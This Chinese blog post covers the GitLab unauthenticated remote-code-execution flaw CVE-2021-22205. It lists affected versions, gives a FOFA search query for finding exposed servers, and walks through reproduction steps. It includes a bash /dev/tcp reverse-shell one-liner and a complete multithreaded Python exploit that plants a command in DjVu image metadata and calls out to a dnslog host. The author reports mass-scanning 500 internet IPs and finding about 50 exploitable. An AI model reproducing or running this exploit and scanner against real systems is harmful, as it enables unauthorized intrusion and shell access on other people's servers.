GitLab未授权RCE(CVE-2021-22205)

GitLab未授权RCE(CVE-2021-22205)

2021年10月28日,GitLab远程命令执行漏洞(CVE-2021-22205)在野利用工具被公开,这意味着黑客可直接利用该攻击代码实施入侵攻击。具体而言,GitLab某些端点的路径存在无需授权风险,攻击者可在无需认证的情况下完成图片上传,并利用该漏洞构造恶意数据执行远程命令,最终造成服务器敏感信息泄露或执行任意命令。该漏洞CVSS3.0评分9.9分,定级为严重漏洞。

影响版本

11.9 <= Gitlab <= 13.8.7
13.9 <= Gitlab <= 13.9.5
13.10 <= Gitlab <= 13.10.2

fofa语法

1
title="GitLab"

漏洞复现

1、fofa找一个目标进行复现测试

1
http://ip/

2、复现演示

第一步,直接访问目标,进入登入框,burp抓包,并将返回的csrf中token的值复制

1
http://ip/users/sign_in

第二步,直接用我们当前的session,去访问上传页面,改成post传参,将post数据部分改成payload,文件头也加一个x-csrf-token,再发包一下

image-20211130103558647

第三步,由于这个是无返回值rce,所以弄的是访问dnslog,所以我们看看dns,bb出来了

image-20211118164711618

第四步,反弹shell

1
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/xxxx <&1'

编写EXP的使用方法

会放在文末,搞了一下午 o(╥﹏╥)o,基本都打了注释,可以看懂

使用方法

1
批量检测:python3 xxx.py -f/--file target.txt -d/--dnslog xxxx.dnslog.cn

一、将可能有漏洞ip放入url.txt中

1
http://129.xxx.xx.141

二、获取一个dnslog的网址

1
类似这个xpy28t.dnslog.cn

image-20211118194850438

三、执行脚本

四、我们看看dnslog,执行成功 RCE

批量检测

看代码就知道咋调线程,有备注

好了 直接50线程扫,结果图如下

image-20211130103847229

我发现批量的话,是很多的,可以看看dnslog,基本一直在跳

image-20211118195502137

就检测了500个ip,里面差不多会有50个能RCE的漏洞,风险很大可以直接反弹shell

EXP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import requests
import re
import argparse
import threading
import sys
requests.packages.urllib3.disable_warnings()

def banner():
print("""
/$$ /$$ /$$ /$$$$$$$$
| $$ /$ | $$ | $$ |__ $$__/
| $$ /$$$| $$ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ | $$ /$$$$$$
| $$/$$ $$ $$ /$$__ $$| $$ /$$_____/ /$$__ $$| $$_ $$_ $$ /$$__ $$ | $$ /$$__ $$
| $$$$_ $$$$| $$$$$$$$| $$| $$ | $$ \ $$| $$ \ $$ \ $$| $$$$$$$$ | $$| $$ \ $$
| $$$/ \ $$$| $$_____/| $$| $$ | $$ | $$| $$ | $$ | $$| $$_____/ | $$| $$ | $$
| $$/ \ $$| $$$$$$$| $$| $$$$$$$| $$$$$$/| $$ | $$ | $$| $$$$$$$ | $$| $$$$$$/
|__/ \__/ \_______/|__/ \_______/ \______/ |__/ |__/ |__/ \_______/ |__/ \______/

""")
print('''
GitLab 未授权远程RCE \n
作者:孤桜懶契 \n
fofa 语句:title="GitLab" \n
批量检测:python3 xxx.py -f/--file target.txt -d/--dnslog xxxx.dnslog.cn \n
个人博客:gylq.gitee.io
''')

# 检查漏洞 存在否
def check(target_url,dnslog):
session = requests.Session()
first = target_url
first = first + "/users/sign_in"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = session.get(first, headers=header, verify=False, timeout=3)
token = re.findall(r'name="csrf-token" content="(.+?)"', response.text)
token = ''.join(token)

dnslog_command = "curl `whoami`.{}".format(dnslog) # 可以直接修改命令 反弹shell


data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ dnslog_command +"} . \\\n\" b \") ) " \
" \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req2.text:
print("[+] {} 存在漏洞利用!".format(target_url))
with open("gitlab.txt", "a+") as a:
a.write("[+] 存在远程RCE漏洞:{}\n".format(target_url))
except :
print("[-] Coneect Timeout !")


# 检查 url格式

def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL 错误 {0}'.format(url))

# 主要执行
def main():

parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE') # 描述

parser.add_argument('-f', '--file', help='Please Input a url.txt!', default='') # 传入值
parser.add_argument('-d', '--dnslog', help='Please Input a dnslog!', default='') # 传入值

args = parser.parse_args() # 解析分解
print("[*] Your DnsLog",args.dnslog)
with open(args.file, "r") as f:
gitlab = f.read().split("\n")
# for url in gitlab:
# target(url,dnslog)
i = 0
# print(len(gitlab) 总长度
while True:
if i < len(gitlab) and threading.active_count() < 50: # 50线程
if gitlab[i].strip() != '': # 去掉空格
url_path = format_url(gitlab[i].strip())
url_target = format_url(url_path) # 检查格式
t = threading.Thread(target=check, args=(url_target,args.dnslog,))
t.start()
i += 1
print("[*] 剩下数量:",i, "/", len(gitlab))
if i == len(gitlab) and threading.active_count() == 1:
print("[*] done result write in gitlab.txt !")
break

if __name__ == '__main__':
if len(sys.argv)==1:
sys.exit()
banner()
main()

本文标题:GitLab未授权RCE(CVE-2021-22205)

文章作者:孤桜懶契

发布时间:2021年11月25日 - 11:19:38

最后更新:2022年05月24日 - 21:01:41

原始链接:http://gylq.gitee.io/time/posts/2.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------